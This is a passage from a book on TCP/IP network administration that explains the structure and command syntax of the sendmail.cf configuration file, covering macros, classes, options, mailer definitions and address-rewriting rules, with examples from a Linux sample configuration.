Defines the information that is specific to the individual host. In the linux.smtp.cf file, Local Information defines the host name, the names of any mail relay hosts, and the mail domain. It also contains the name that sendmail uses to identify itself when it returns error messages, the message that sendmail displays during an SMTP login, and the version number of the sendmail.cf file. (Increase the version number each time you modify the configuration.) This section is usually customized during configuration.

Options

Defines the sendmail options. This section usually requires no modifications.

Message Precedence

Defines the various message precedence values used by sendmail. This section is not modified.

Trusted Users

Defines the users who are trusted to override the sender address when they are sending mail. This section is not modified. Adding users to this list is a potential security problem.

Format of Headers

Defines the format of the headers that sendmail inserts into mail. This section is not modified.

Rewriting Rules

Defines the rules used to rewrite mail addresses. Rewriting Rules contains the general rules called by sendmail or other rewrite rules. This section is not modified during the initial sendmail configuration. Rewrite rules are usually only modified to correct a problem or to add a new service.

Mailers

Defines the instructions used by sendmail to invoke the mail delivery programs. The specific rewrite rules associated with each individual mailer are also defined in this section. The mailer definitions are usually not modified. However, the rewrite rules associated with the mailers are sometimes modified to correct a problem or to add a new service.

The section labels in the sample file delivered with your system are probably different from these. However, the structure of your sample file is probably similar to the structure discussed above in these ways:

  • The information that is customized for each host is probably at the beginning of the file.

  • Similar types of commands, e.g., option commands, header commands, etc., are usually grouped together.

  • The bulk of the file consists of rewrite rules.

  • The last part of the file probably contains mailer definitions intermixed with the rewrite rules that are associated with the individual mailers.

Look at the comments in your sendmail.cf file. Sometimes these comments provide valuable insight into the file structure and the things that are necessary to configure a system.

It's important to realize how little of sendmail.cf needs to be modified for a typical system. If you pick the right sample file to work from, you may only need to modify a few lines in the first section. From this perspective, sendmail configuration appears to be a trivial task. So why are system administrators intimidated by it? In large part it is because of the difficult syntax of the sendmail.cf configuration language.

Previous: 10.3 sendmail Aliases | TCP/IP Network Administration | Next: 10.5 sendmail Configuration
10.3 sendmail Aliases | Book Index | 10.5 sendmail Configuration


[Chapter 10] 10.5 sendmail Configuration

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.4 The sendmail.cf File Chapter 10
sendmail 		Next: 10.6 Rewriting the Mail Address

10.5 sendmail Configuration

Every time sendmail starts up, it reads sendmail.cf. For this reason, the syntax of the sendmail.cf commands is designed to be easy for sendmail to parse - not necessarily easy for humans to read. As a consequence, sendmail commands are very terse, even by UNIX standards.

The configuration command is not separated from its variable or value by any spaces. This "run together" format makes the commands hard to read. Figure 10.2 illustrates the format of a command. In the figure, a define macro command assigns the value nuts.com to the macro D.

Figure 10.2: A sendmail.cf configuration command

Starting with version 8 of sendmail, variable names are no longer restricted to a single character. Long variable names, enclosed in braces, are now acceptable. For example, the define macro shown in Figure 10.2 could be written:

D{Domain}nuts.com

However, a quick check of the sendmail.cf delivered with my Linux system shows that not a single long variable name was used. The traditional, short variable names are still the most common. This terse syntax can be very hard to decipher, but it helps to remember that the first character on the line is always the command. From this single character you can determine what the command is and therefore its structure. Table 10.1 lists the sendmail.cf commands and their syntax.

Table 10.1: sendmail Configuration Commands
Command | Syntax | Meaning
Version Level | V level[/vendor] | Specify version level.
Define Macro | D xvalue | Set macro x to value.
Define Class | C cword1[ word2]... | Set class c to word1 word2....
Define Class | F cfile | Load class c from file.
Set Option | O option=value | Set option to value.
Trusted Users | T user1[ user2...] | Trusted users are user1 user2....
Set Precedence | P name=number | Set name to precedence number.
Define Mailer | M name, {field=value} | Define mailer name.
Define Header | H[?mflag?]name:format | Set header format.
Set Ruleset | S n | Start ruleset number n.
Define Rule | R lhs rhs comment | Rewrite lhs patterns to rhs format.
Key File | K name type [argument] | Define database name.

The following sections describe each configuration command in more detail.

10.5.1 The Version Level Command

The version level command is an optional command not found in all sendmail.cf files. You don't add a V command to the sendmail.cf file or change one if it is already there. The V command is inserted into the configuration file when it is first built from m4 macros or by the vendor.

The level number on the V command line indicates the version level of the configuration syntax. V1 is the oldest configuration syntax and V7 is the version supported by sendmail V8.8.5. Every level in between adds some feature extensions. The vendor part of the V command identifies if any vendor specific syntax is supported. The default vendor value for the sendmail distribution is "Berkeley".

The V command tells the sendmail executable the level of syntax and commands required to support this configuration. If the sendmail program cannot support the requested commands and syntax, it displays the following error message:

# /usr/lib/sendmail -Ctest.cf
test.cf: line 63: Bad V line: Only V1/sun syntax is supported in
     this release

The error message shown above indicates that this sendmail program supports level 1 configuration files with Sun syntax extensions. [12] The example was produced on a Solaris 2.5.1 running the sendmail program that came with the operating system. In the example we attempted to read a sendmail.cf that was created by the m4 macros that came with sendmail 8.8.5. The syntax and functions needed by the sendmail.cf file are not available in the sendmail program. To use this configuration file, we would have to compile a newer version of the sendmail program. See Appendix E for an example of compiling sendmail.

[12] See Table 10-4 for Sun-specific syntax.

You will never change the values on a V command. You might, however, need to customize some D commands.

10.5.2 The Define Macro Command

The define macro command (D) defines a macro and stores a value in it. Once the macro is defined, it is used to provide the stored value to other sendmail.cf commands and directly to sendmail itself. This allows sendmail configurations to be shared by many systems, simply by modifying a few system-specific macros.

A macro name can be any single ASCII character or, as of sendmail V8, a word enclosed in curly braces. User-created macros use uppercase letters as names. sendmail's own internal macros use lowercase letters and special characters as names. This does not mean that you won't be called upon to define a value for a macro with a lowercase name. A few of these internal macros are sometimes defined in the sendmail.cf file. Table 10.2 provides a complete list of sendmail's internal macros.

Table 10.2: sendmail's Internal Macros
Name | Function
a | Origination date in RFC 822 format
b | Current date in RFC 822 format
c | Hop count
d | Date in UNIX (ctime) format
e | SMTP entry message
f | Sender \(lqfrom\(rq address
g | Sender address relative to the recipient
h | Recipient host
i | Queue id
j | Fully qualified domain name (host plus domain)
k | UUCP node name
l | Format of the UNIX from line
m | Name of this domain (domain only)
n | Name of the daemon (for error messages)
o | Set of "operators" in addresses[13]
p | Sendmail's pid
q | Default format of sender address[13]
r | Protocol used
s | Sender's hostname
t | Numeric representation of the current time
u | Recipient user
v | Version number of sendmail
w | Hostname of this site (host only)
x | Full name of the sender
z | Home directory of the recipient
- | Validated sender address

[13] Obsolete in sendmail V8.

To retrieve the value stored in a macro, reference it as $x, where x is the macro name. Macros are expanded when the sendmail.cf file is read. A special syntax, $&x, is used to expand macros when they are referenced. The $&x syntax is only used with certain internal macros that change at runtime.

The code below defines the macros R, M, and Q. After this code executes, $R returns almond, $M returns nuts.com, and $Q returns almond.nuts.com. This sample code defines Q as containing the value of R ($R), plus a literal dot, plus the value of M ($M).

DRalmond
DMnuts.com
DQ$R.$M

If you customize your sendmail.cf file, it will probably be necessary to modify some macro definitions. The macros that usually require modification define site-specific information, such as hostnames and domain names.

10.5.2.1 Conditionals

A macro definition can contain a conditional. Here's a conditional:

DX$g$?x ($x)$.

The D is the define macro command; X is the macro being defined; and $g says to use the value stored in macro g. But what does "$?x ($x)$." mean? The construct $?x is a conditional. It tests whether macro x has a value set. If the macro has been set, the text following the conditional is interpreted. The $. construct ends the conditional.

Given this, the assignment of macro X is interpreted as follows: X is assigned the value of g; and if x is set, it is also assigned a literal blank, a literal left parenthesis, the value of x, and a literal right parenthesis.

So if g contains chunt@nuts.com and x contains Craig Hunt, X will contain:

chunt@nuts.com (Craig Hunt)

The conditional can be used with an "else" construct, which is $|. The full syntax of the conditional is:

$?x text1 $| text2 $.

This is interpreted as:

  • if ($?) x is set;

  • use text1;

  • else ($|);

  • use text2;

  • end if ($.).

10.5.3 The Define Class Command

Two commands, C and F, define sendmail classes. A class is similar to an array of values. Classes are used for anything with multiple values that are handled in the same way, such as multiple names for the local host or a list of uucp hostnames. Classes allow sendmail to compare against a list of values, instead of against a single value. Special pattern matching symbols are used with classes. The $= symbol matches any value in a class, and the $~ symbol matches any value not in a class. (More on pattern matching later.)

Like macros, classes usually have single-character names, and user-created classes use uppercase letters for names. Class values can be defined on a single line, on multiple lines, or loaded from a file. For example, class w is used to define all of the hostnames by which the local host is known. To assign class w the values goober and pea, you can enter the values on a single line:

Cwgoober pea

Or you can enter the values on multiple lines:

Cwgoober
Cwpea

You can also use the F command to load the class values from a file. The F command reads a file and stores the words found there in a class variable. For example, to define class w and assign it all of the strings found in /etc/sendmail.cw, use:

Fw/etc/sendmail.cw

You may need to modify a few class definitions when creating your sendmail.cf file. Frequently information relating to uucp, to alias hostnames, and to special domains for mail routing is defined in class statements. If your system has a uucp connection as well as a TCP/IP connection, pay particular attention to the class definitions. But in any case, check the class definitions carefully and make sure they apply to your configuration.

Here we grep the Linux sample configuration file for lines beginning with C or F:

% grep '^[CF]' linux.smtp.cf
Cwlocalhost
CP.
CO @ %
C..
CE root

This grep shows that linux.smtp.cf defines classes w, P, O, ., and E. w contains the host's alias hostnames. P holds pseudo-domains used for mail routing. O stores operators that cannot be part of a valid username. The class . (dot) is primarily of interest because it shows that variable names do not have to be alphabetic characters. E lists the usernames that should always be associated with the local host's fully qualified domain name, even if simplified email addresses are being used for all other users. (More on simplified addresses later.) In our sample file, the variables are all assigned default values.

Remember that your system will be different. The uppercase letters used for some of these class names mean that they are user-created classes. These same class names may be used for other purposes on your system, and are only presented here as an example. Carefully read the comments in your sendmail.cf file for guidance as to how classes and macros are used in your configuration.

The class names that are lowercase letters or special characters are reserved for internal sendmail use. All internal classes defined in sendmail versions after 8.8 are shown in Appendix E. Most of these can be ignored. Only class w, which defines all of the hostnames the system will accept as its own, is commonly modified in the sendmail.cf file.

10.5.4 The Set Option Command

The set option commands (O) command is used to define the sendmail environment. Use the O command to set values appropriate for your installation. The value assigned to an option is a string, an integer, a Boolean, or a time interval, as appropriate for the individual option. All options define values used directly by sendmail.

There are no user-created options. The meaning of each sendmail option is defined within sendmail itself. Appendix E lists the meaning and use of each option, and there are plenty of them.

A few sample options from the linux.smtp.cf file are shown below. The AliasFile option defines the name of the sendmail aliases file as /etc/aliases. If you want to put the aliases file elsewhere, change this option. The TempFileMode option defines the default file mode as 0600 for temporary files created by sendmail in /var/spool/mqueue. The Timeout.queuereturn option sets the timeout interval for undeliverable mail, here set to five days (5d). These options show the kind of general configuration parameters set by the option command.

# location of alias file
O AliasFile=/etc/aliases
# temporary file mode
O TempFileMode=0600
# default timeout interval
O Timeout.queuereturn=5d

The syntax of the option command shown in this example and in Table 10.1 was introduced in sendmail version 8.7.5. Prior to that the option command used a syntax more like the other sendmail commands. The old syntax is: O ovalue, where O is the command, o is the single character option name, and value is the value assigned to the option. The options shown in the previous discussion, if written in the old syntax, would be:

# location of alias file
OA/etc/aliases
# temporary file mode
OF0600
# default timeout interval
OT5d

Appendix E contains a full listing of the old options as well as the new options.

Most of the options defined in a sample file don't require modification. People change options settings because they want to change the sendmail environment, not because they have to. The options in your configuration file are almost certainly correct for your system.

10.5.5 Defining Trusted Users

The T command defines a list of users who are trusted to override the sender address using the mailer -f flag. [14] Normally the trusted users are defined as root, uucp, and daemon. Trusted users can be specified as a list of usernames on a single command line, or on multiple command lines. The users must be valid usernames from the /etc/passwd file.

[14] Mailer flags are listed in Appendix E.

The most commonly defined trusted users are:

Troot
Tdaemon
Tuucp

Most sites do not need to modify this list.

10.5.6 Defining Mail Precedence

Precedence is one of the factors used by sendmail to assign priority to messages entering its queue. The P command defines the message precedence values available to sendmail users. The higher the precedence number, the greater the precedence of the message. The default precedence of a message is 0. Negative precedence numbers indicate especially low-priority mail. Error messages are not generated for mail with a negative precedence number, making low priorities attractive for mass mailings. Some commonly used precedence values are:

Pfirst-class=0
Pspecial-delivery=100
Plist=-30
Pbulk=-60
Pjunk=-100

To specify the precedence he desires, a user adds a Precedence header to his message. He uses the text name from the P command in the Precedence header to set the specific precedence of the message. Given the precedence definitions shown above, a user who wanted to avoid receiving error messages for a large mailing could select a message precedence of -60 by including the following header line in his mail:

Precedence: bulk

The five precedence values shown above are probably more than you'll ever need.

10.5.7 Defining Mail Headers

The H command defines the format of header lines that sendmail inserts into messages. The format of the header command is the H command, optional header flags enclosed in question marks, a header name, a colon, and a header template. The header template is a combination of literals and macros that are included in the header line. Macros in the header template are expanded before the header is inserted in a message. The same conditional syntax used in macro definitions can be used in header templates, and it functions in exactly the same way: it allows you to test whether a macro is set and to use another value if it is not set.

The header flags often arouse more questions than they merit. The function of the flags is very simple. The header flags control whether or not the header is inserted into mail bound for a specific mailer. If no flags are specified, the header is used for all mailers. If a flag is specified, the header is used only for a mailer that has the same flag set in the mailer's definition. (Mailer flags are listed in Appendix E.) Header flags only control header insertion. If a header is received in the input, it is passed to the output, regardless of the flag settings.

Some sample header definitions from the linux.smtp.cf sample file are:

H?P?Return-Path: $g
H?D?Date: $a
H?F?From: $?x$x <$g>$|$g$.
H?x?Full-Name: $x
HSubject:
H?M?Message-Id: <$t.$i@$j>

The headers provided in your system's sendmail.cf are sufficient for most installations. It's unlikely you'll ever need to change them.

10.5.8 Defining Mailers

The M commands define the mail delivery programs used by sendmail. The syntax of the command is:

Mname, {field=value}

name is an arbitrary name used internally by sendmail to refer to this mailer. The name doesn't matter as long as it is used consistently within the sendmail.cf file to refer to this mailer. For example, the mailer used to deliver SMTP mail within the local domain might be called smtp on one system, and it might be called ether on another system. The function of both mailers is the same, only the names are different.

There are a few exceptions to this freedom of choice. The mailer that delivers local mail to users on the same machine must be called local, and a mailer named local must be defined in the sendmail.cf file. Three other special mailer names are:

prog

Delivers mail to programs.

*file*

Sends mail to files.

*include*

Directs mail to :include: lists.

Of these, only the prog mailer must be defined in the sendmail.cf file. The other two are defined internally by sendmail.

The mailer name is followed by a comma-separated list of field=value pairs that define the characteristics of the mailer. Table 10.3 shows the single character field identifiers and the contents of the value field associated with each of them. Most mailers don't require all of these fields.

Table 10.3: Mailer Definition Fields
Field | Meaning | Contents | Example
P | Path | Path of the mailer | P=/bin/mail
F | Flags | sendmail flags for this mailer | F=lsDFMe
S | Sender | Rulesets for sender addresses | S=10
R | Recipient | Rulesets for recipient addresses | R=20
A | Argv | The mailer's argument vector | A=sh -c $u
E | Eol | End-of-line string for the mailer | E=\r\n
M | Maxsize | Maximum message length | M=100000
L | Linelimit | Maximum line length | L=990
D | Directory | prog mailer's execution directory | D=$z:/
U | Userid | User and group ID used to run mailer | U=uucp:wheel
N | Nice | nice value used to run mailer | N=10
C | Charset | Content-type for 8-bit MIME characters | C=iso8859-1
T | Type | Type information for MIME errors | T=dns/rfc822/smtp

The Path (P) fields contain either the path to the mail delivery program or the literal string [IPC]. Mailer definitions that specify P=[IPC] use sendmail to deliver mail via SMTP. [15] The path to a mail delivery program varies from system to system depending on where the systems store the programs. Make sure you know where the programs are stored before you modify the Path field. If you use a sample configuration from another computer, such as the samples we use in this chapter, make sure that the mailer paths are valid for your system.

[15] Sun systems use [TCP] as well as [IPC].

The Flags (F) field contains the sendmail flags used for this mailer. These are the mailer flags referenced earlier in this chapter under "Defining Mail Headers," but mailer flags do more than just control header insertion. There are a large number of flags. Appendix E describes all of them and their functions.

The Sender (S) and the Recipient (R) fields identify the rulesets used to rewrite the sender and recipient addresses for this mailer. Each ruleset is identified by its number. We'll have more to say about rulesets later in this chapter, and we will refer to the S and R values when troubleshooting the sendmail configuration.

The Argv (A) field defines the argument vector passed to the mailer. It contains, among other things, macro expansions that provide the recipient username (which is $u), [16] the recipient hostname ($h), and the sender's from address ($f). These macros are expanded before the argument vector is passed to the mailer.

[16] In the prog mailer definition, $u actually passes a program name in the argument vector.

The End-of-line (E) field defines the characters used to mark the end of a line. A carriage return and a line feed (CRLF) is the default for SMTP mailers.

Maxsize (M) defines, in bytes, the longest message that this mailer will handle. This field is used most frequently in definitions of UUCP mailers.

Linelimit (L) defines, in bytes, the maximum length of a line that can be contained in a message handled by this mailer. This mailer field was introduced in sendmail V8. Previous versions of sendmail limited lines to 80 characters because this was the limit for SMTP mail before MIME mail was introduced.

The Directory (D) field specifies the working directory for the prog mailer. More than one directory can be specified for the directory field by separating the directory paths with colons. The example in Table 10.3 tells prog to use the recipient's home directory, which is the value returned by the internal macro $z. If that directory is not available, it should use the root (/) directory.

Specify the default user and the group ID used to execute the mailer with the Userid (U) field. The example U=uucp:wheel says that the mailer should be run under the user ID uucp and the group ID wheel. If no value is specified for the Userid field, the value defined by the DefaultUser option is used.

Use Nice (N) to change the nice value for the execution of the mailer. This allows you to change the scheduling priority of the mailer. This is rarely used. If you're interested, see the nice manpage for appropriate values.

The last two fields are used only for MIME mail. Charset (C) defines the character set used in the Content-type header when an 8-bit message is converted to MIME. If Charset is not defined, the value defined in the DefaultCharset option is used. If that option is not defined, unknown-8bit is used as the default value.

The Type (T) field defines the type information used in MIME error messages. MIME-type information defines the mailer transfer agent type, the mail address type, and the error code type. The default is dns/rfc822/smtp.

10.5.8.1 Some common mailer definitions

The following mailer definitions are from linux.smtp.cf:

Mlocal,	P=/usr/bin/procmail, F=lsDFMAw5:/|@ShP, S=10/30, R=20/40,
    T=DNS/RFC822/X-Unix, A=procmail -a $h -d $u
Mprog,	P=/bin/sh, F=lsDFMoeu, S=10/30, R=20/40, D=$z:/,
    T=X-Unix, A=sh -c $u
Msmtp,	P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990,
    T=DNS/RFC822/SMTP, A=IPC $h
Mesmtp,	P=[IPC], F=mDFMuXa, S=11/31, R=21, E=\r\n, L=990,
    T=DNS/RFC822/SMTP, A=IPC $h
Msmtp8,	P=[IPC], F=mDFMuX8, S=11/31, R=21, E=\r\n, L=990,
    T=DNS/RFC822/SMTP, A=IPC $h
Mrelay,	P=[IPC], F=mDFMuXa8, S=11/31, R=61, E=\r\n, L=2040,
    T=DNS/RFC822/SMTP, A=IPC $h

This example contains the following mailer definitions:

  • A definition for local mail delivery, always called local. This definition is required by sendmail.

  • A definition for delivering mail to programs, always called prog. This definition is found in most configurations.

  • A definition for TCP/IP mail delivery, here called smtp.

  • A definition for an Extended SMTP mailer, here called esmtp.

  • A definition for an SMTP mailer that handles unencoded 8-bit data, here called smtp8.

  • A definition for a mailer that relays TCP/IP mail through an external mail relay host, here called relay.

A close examination of the fields in one of these mailer entries, for example the entry for the smtp mailer, shows the following:

Msmtp

A mailer, arbitrarily named smtp, is being defined.

P=[IPC]

The path to the program used for this mailer is [IPC], which means deliver of this mail is handled internally by sendmail.

F=mDFMuX

The sendmail flags for this mailer say that this mailer can send to multiple recipients at once; that Date, From, and Message-Id headers are needed; that uppercase should be preserved in hostnames and user names; and that lines beginning with a dot have an extra dot prepended. Refer to Appendix E for more details.

S=11/31

The sender address in the mail "envelope" is processed through ruleset 11 and the sender address in the message is processed through ruleset 31. More on this later.

R=21

All recipient addresses are processed through ruleset 21.

E=\r\n

Lines are terminated with a carriage return and a line feed.

L=990

This mailer will handle lines up to 990 bytes long.

T=DNS/RFC822/SMTP

The MIME-type information for this mailer says that DNS is used for hostnames, RFC 822 email addresses are used, and SMTP error codes are used.

A=IPC $h

The meaning of each option in an argument vector is exactly as defined on the manpage for the command; see the local mailer as an example. In the case of the smtp mailer, however, the argument refers to an internal sendmail process. The macro $h is expanded to provide the recipient host ($h) address.

Despite this long discussion, don't worry about mailer definitions. The sample configuration file that comes with your operating system contains the correct mailer definitions to run sendmail in a TCP/IP network environment. You shouldn't need to modify any mailer definitions.

Previous: 10.4 The sendmail.cf File | TCP/IP Network Administration | Next: 10.6 Rewriting the Mail Address
10.4 The sendmail.cf File | Book Index | 10.6 Rewriting the Mail Address


[Chapter 10] 10.6 Rewriting the Mail Address

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.5 sendmail Configuration Chapter 10
sendmail 		Next: 10.7 Modifying a sendmail.cf File

10.6 Rewriting the Mail Address

Rewrite rules are the heart of the sendmail.cf file. Rulesets are groups of individual rewrite rules used to parse email addresses from user mail programs and rewrite them into the form required by the mail delivery programs. Each rewrite rule is defined by an R command. The syntax of the R command is:

Rpattern    transformation    comment

The fields in an R command are separated by tab characters. The comment field is ignored by the system, but good comments are vital if you want to have any hope of understanding what's going on. The pattern and transformation fields are the heart of this command.

10.6.1 Pattern Matching

Rewrite rules match the input address against the pattern, and if a match is found, rewrite the address in a new format using the rules defined in the transformation. A rewrite rule may process the same address several times because, after being rewritten, the address is again compared against the pattern. If it still matches, it is rewritten again. The cycle of pattern matching and rewriting continues until the address no longer matches the pattern.

The pattern is defined using macros, classes, literals, and special metasymbols. The macros, classes, and literals provide the values against which the input is compared, and the metasymbols define the rules used in matching the pattern. Table 10.4 shows the metasymbols used for pattern matching.

Table 10.4: Pattern Matching Symbols
Symbol | Meaning
$@ | Match exactly zero tokens.
$* | Match zero or more tokens.
$+ | Match one or more tokens.
$- | Match exactly one token.
$=x | Match any token in class x.
$~x | Match any token not in class x.
$x | Match all tokens in macro x.
$%x | Match any token in the NIS map named in macro x. [17]
$!x | Match any token not in the NIS map named in macro x.[17]
$%y | Match any token in the NIS hosts.byname map.[17]

[17] This symbol is specific to Sun operating systems.

All of the metasymbols request a match for some number of tokens. A token is a string of characters in an email address delimited by an operator. The operators are the characters defined in the OperatorChars option. [18] Operators are also counted as tokens when an address is parsed. For example:

[18] On older systems, they are defined in the o macro. See Appendix E.

becky@peanut.nuts.com

This email address contains seven tokens: becky, @, peanut, ., nuts, ., and com. This address would match the pattern:

$-@$+

The address matches the pattern because:

  • It has exactly one token before the @ that matches the requirement of the $- symbol.

  • It has an @ that matches the pattern's literal @.

  • It has one or more tokens after the @ that match the requirement of the $+ symbol.

Many addresses, hostmaster@rs.internic.net, craigh@ora.com, etc., match this pattern, but other addresses do not. For example, rebecca.hunt@nuts.com does not match because it has three tokens: rebecca, ., and hunt, before the @. Therefore, it fails to meet the requirement of exactly one token specified by the $- symbol. Using the metasymbols, macros, and literals, patterns can be constructed to match any type of email address.

When an address matches a pattern, the strings from the address that match the metasymbols are assigned to indefinite tokens. The matching strings are called indefinite tokens because they may contain more than one token value. The indefinite tokens are identified numerically according to the relative position in the pattern of the metasymbol that the string matched. In other words, the indefinite token produced by the match of the first metasymbol is called $1; the match of the second symbol is called $2; the third is $3; and so on. When the address becky@peanut.nuts.com matched the pattern $-@$+, two indefinite tokens were created. The first is identified as $1 and contains the single token, becky, that matched the $- symbol. The second indefinite token is $2 and contains the five tokens - peanut, ., nuts, ., and com - that matched the $+ symbol. The indefinite tokens created by the pattern matching can then be referenced by name ($1, $2, etc.) when rewriting the address.

A few of the symbols in Table 10.4 are used only in special cases. The $@ symbol is normally used by itself to test for an empty, or null, address. The symbols that test against NIS maps, can only be used on Sun systems that run the sendmail program that Sun provides with the operating system. We'll see in the next section that systems running sendmail V8 can use NIS maps, but only for transformation - not for pattern matching.

10.6.2 Transforming the Address

The transformation field, from the righthand side of the rewrite rule, defines the format used for rewriting the address. It is defined with the same things used to define the pattern: literals, macros, and special metasymbols. Literals in the transformation are written into the new address exactly as shown. Macros are expanded and then written. The metasymbols perform special functions. The transformation metasymbols and their functions are shown in Table 10.5

Table 10.5: Transformation Metasymbols
Symbol | Meaning
$n | Substitute indefinite token n.
$[name$] | Substitute the canonical form of name.
$(map key $@argument $:default$) | Substitute a value from database map indexed by key.
$>n | Call ruleset n.
$@ | Terminate ruleset.
$: | Terminate rewrite rule.

The $n symbol, where n is a number, is used for the indefinite token substitution discussed above. The indefinite token is expanded and written to the "new" address. Indefinite token substitution is essential for flexible address rewriting. Without it, values could not be easily moved from the input address to the rewritten address. The following example demonstrates this.

Addresses are always processed by several rewrite rules. No one rule tries to do everything. Assume the input address mccafferty@peanut has been through some preliminary processing and now is:

kathy.mccafferty<@peanut>

Assume the current rewrite rule is:

R$+<@$->    $1<@$2.$D>   user@host -> user@host.domain

The address matches the pattern because it contains one or more tokens before the literal <@, exactly one token after the <@, and then the literal >. The pattern match produces two indefinite tokens that are used in the transformation to rewrite the address.

The transformation contains the indefinite token $1, a literal <@, indefinite token $2, a literal dot (.), the macro D, and the literal >. After the pattern matching, $1 contains kathy.mccafferty and $2 contains peanut. Assume that the macro D was defined elsewhere in the sendmail.cf file as nuts.com. In this case the input address is rewritten as:

kathy.mccafferty<@peanut.nuts.com>

Figure 10.3 illustrates this specific address rewrite. It shows the tokens derived from the input address, and how those tokens are matched against the pattern. It also shows the indefinite tokens produced by the pattern matching, and how the indefinite tokens, and other values from the transformation, are used to produce the rewritten address. After rewriting, the address is again compared to the pattern. This time it fails to match the pattern because it no longer contains exactly one token between the literal <@ and the literal >. So, no further processing is done by this rewrite rule and the address is passed to the next rule in line. Rules in a ruleset are processed sequentially, though a few metasymbols can be used to modify this flow.

Figure 10.3: Rewriting an address

The $>n symbol calls ruleset n and passes the address defined by the remainder of the transformation to ruleset n for processing. For example:

$>9 $1 % $2

This transformation calls ruleset 9 ($>9), and passes the contents of $1, a literal %, and the contents of $2 to ruleset 9 for processing. When ruleset 9 finishes processing, it returns a rewritten address to the calling rule. The returned email address is then compared again to the pattern in the calling rule. If it still matches, ruleset 9 is called again.

The recursion built into rewrite rules creates the possibility for infinite loops. sendmail does its best to detect possible loops, but you should take responsibility for writing rules that don't loop. The $@ and the $: symbols are used to control processing and to prevent loops. If the transformation begins with the $@ symbol, the entire ruleset is terminated and the remainder of the transformation is the value returned by the ruleset. If the transformation begins with the $: symbol, the individual rule is executed only once. Use $: to prevent recursion and to prevent loops when calling other rulesets. Use $@ to exit a ruleset at a specific rule.

The $[name$] symbol converts a host's nickname or its IP address to its canonical name by passing the value name to the name server for resolution. For example, using the nuts.com name servers, $[goober$] returns peanut.nuts.com and $[[172.16.12.1]$] returns almond.nuts.com.

In the same way that a hostname or address is used to look up a canonical name in the name server database, the $(map key$) syntax uses the key to retrieve information from the database identified by map. This is a more generalized database retrieval syntax than is the one that returns canonical hostnames, and it is more complex to use. Before we get into the details of setting up and using databases from within sendmail, let's finish describing the rest of the syntax of rewrite rules.

There is a special rewrite rule syntax that is used in ruleset 0. Ruleset 0 defines the triple (mailer, host, user) that specifies the mail delivery program, the recipient host, and the recipient user.

The special transformation syntax used to do this is:

$#mailer$@host$:user

An example of this syntax taken from the linux.smtp.cf sample file is:

R$*<@$*>$*    $#smtp$@$2$:$1<@$2>$3     user@host.domain

Assume the email address david<@filbert.nuts.com> is processed by this rule. The address matches the pattern $*<@$+>$* because:

  • The address has zero or more tokens (the token david) that match the first $* symbol.

  • The address has a literal <@.

  • The address has zero or more tokens (the five tokens filbert.nuts.com) that match the requirement of the second $* symbol.

  • The address has a literal >.

  • The address has zero or more, in this case zero, tokens that match the requirement of the last $* symbol.

This pattern match produces two indefinite tokens. Indefinite token $1 contains david and $2 contains filbert.nuts.com. No other matches occurred, so $3 is null. These indefinite tokens are used to rewrite the address into the following triple:

$#smtp$@filbert.nuts.com$:david<@filbert.nuts.com>

The components of this triple are:

$#smtp

smtp is the internal name of the mailer that delivers the message.

$@filbert.nuts.com

filbert.nuts.com is the recipient host.

$:david<@filbert.nuts.com>

david<@filbert.nuts.com> is the recipient user.

There is one special variant of this syntax, also used only in ruleset 0, that passes error messages to the user:

$#error$@comment$:message

The comment field is ignored by sendmail. message is the text of an error message returned to the user, for example:

R<@$+>     $#error$@5.1.1$:"user address required"

This rule returns the message "user address required" if the address matches the pattern.

10.6.2.1 Transforming with a database

External databases can be used to transform addresses in rewrite rules. The database is included in the transformation part of a rule by using the following syntax:

$(map key [$@argument...] [$:default] $)

map is the name assigned to the database within the sendmail.cf file. The name assigned to map is not limited by the rules that govern macro names. Like mailer names, map names are only used inside of the sendmail.cf file and can be any name you choose. Select a simple descriptive name, such as "users" or "mailboxes." The map name is assigned with a K command. (More on the K command in a moment.)

key is the value used to index into the database. The value returned from the database for this key is used to rewrite the input address. If no value is returned, the input address is not changed unless a default value is provided.

An argument is an additional value passed to the database procedure along with the key. Multiple arguments can be used, but each argument must start with $@. The argument can be used by the database procedure to modify the value it returns to sendmail. It is referenced inside the database as %n, where n is a digit that indicates the order in which the argument appears in the rewrite rule - %1, %2, and so on - when multiple arguments are used. (Argument %0 is the key.)

An example will make the use of arguments clear. Assume the following input address:

tom.martin<@sugar>

Further, assume the following database with the internal sendmail name of "relays":

oil     %1<@relay.fats.com>
sugar   %1<@relay.calories.com>
salt    %1<@server.sodium.org>

Finally, assume the following rewrite rule:

R$+<@$->     $(relays $2 $@ $1 $:$1<@$2> $)

The input address tom.martin<@sugar> matches the pattern because it has one or more tokens (tom.martin) before the literal <@ and exactly one token (sugar) after it. The pattern matching creates two indefinite tokens and passes them to the transformation. The transformation calls the database (relays) and passes it token $2 (sugar) as the key and token $1 (tom.martin) as the argument. If the key is not found in the database the default ($1<@$2>) is used. In this case, the key is found in the database. The database program uses the key to retrieve "%1@relay.calories.com", expands the %1 argument, and returns "tom.martin@relay.calories.com" to sendmail, which uses the returned value to replace the input address.

Before a database can be used within sendmail, it must be defined. This is done with the K command. The syntax of the K command is:

Kname type [arguments]

name is the name used to reference this database within sendmail. In the example above, the name is "relays".

type is the class of database. The type specified in the K command must match the database support complied into your sendmail. Most sendmail programs do not support all database types, but a few basic types are widely supported. Common types are dbm, hash, btree, and nis. There are many more, all of which are described in Appendix E.

arguments are optional. Generally, the only argument is the path of the database file. Occasionally the arguments include flags that are interpreted by the database program. The full list of K command flags that can be passed in the argument field are listed in Appendix E.

To define the "relays" database file used in the example above, we might enter the following command in the sendmail.cf file:

Krelays dbm /usr/local/relays

The name relays is simply a name you chose because it is descriptive. The database type dbm is a type supported by your version of sendmail and was used by you when you built the database file. Finally, the argument /usr/local/relays is the location of the database file you created.

Don't worry if you're confused about how to build and use database files within sendmail. We will revisit this topic later in the chapter and the examples will make the practical use of database files clear.

10.6.3 The Set Ruleset Command

Rulesets are groups of associated rewrite rules that can be referenced by a number. The S command marks the beginning of a ruleset and identifies it with a number. In the S n command syntax, n is the number that identifies the ruleset. Numbers in the range of 0 to 99 are used.

Rulesets can be thought of as subroutines, or functions, designed to process email addresses. They are called from mailer definitions, from individual rewrite rules, or directly by sendmail. Six rulesets have special functions and are called directly by sendmail. These are:

  • Ruleset 3 is the first ruleset applied to addresses. It converts an address to the canonical form: local-part@host.domain.

